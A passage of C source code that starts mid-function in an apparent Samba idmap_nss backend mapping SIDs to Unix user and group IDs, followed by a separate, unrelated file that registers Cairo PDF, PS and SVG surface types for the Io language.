&dom_name, &name, &type); (void)winbind_off(); if (!ret) { /* TODO: how do we know if the name is really not mapped, * or something just failed ? */ ids[i]->status = ID_UNMAPPED; continue; } switch (type) { case SID_NAME_USER: { struct passwd *pw; /* this will find also all lower case name and use username level */ pw = Get_Pwnam_alloc(talloc_tos(), name); if (pw) { ids[i]->xid.id = pw->pw_uid; ids[i]->xid.type = ID_TYPE_UID; ids[i]->status = ID_MAPPED; } TALLOC_FREE(pw); break; } case SID_NAME_DOM_GRP: case SID_NAME_ALIAS: case SID_NAME_WKN_GRP: gr = getgrnam(name); if (gr) { ids[i]->xid.id = gr->gr_gid; ids[i]->xid.type = ID_TYPE_GID; ids[i]->status = ID_MAPPED; } break; default: ids[i]->status = ID_UNKNOWN; break; } } talloc_free(ctx); return NT_STATUS_OK; } /********************************** Close the idmap tdb instance **********************************/ static NTSTATUS idmap_nss_close(struct idmap_domain *dom) { return NT_STATUS_OK; } static struct idmap_methods nss_methods = { .init = idmap_nss_int_init, .unixids_to_sids = idmap_nss_unixids_to_sids, .sids_to_unixids = idmap_nss_sids_to_unixids, .close_fn = idmap_nss_close }; NTSTATUS idmap_nss_init(void) { return smb_register_idmap(SMB_IDMAP_INTERFACE_VERSION, "nss", &nss_methods); }
16125.c
#include "IoCairoPDFSurface.h" #include "IoCairoPSSurface.h" #include "IoCairoSVGSurface.h" void IoCairo_fileSurfacesInit(IoObject *context) { IoState *self = IoObject_state((IoObject *)context); #if CAIRO_HAS_PDF_SURFACE IoObject_setSlot_to_(context, SIOSYMBOL("CairoPDFSurface"), IoCairoPDFSurface_proto(self)); #endif #if CAIRO_HAS_PS_SURFACE IoObject_setSlot_to_(context, SIOSYMBOL("CairoPSSurface"), IoCairoPSSurface_proto(self)); #endif #if CAIRO_HAS_SVG_SURFACE IoObject_setSlot_to_(context, SIOSYMBOL("CairoSVGSurface"), IoCairoSVGSurface_proto(self)); #endif }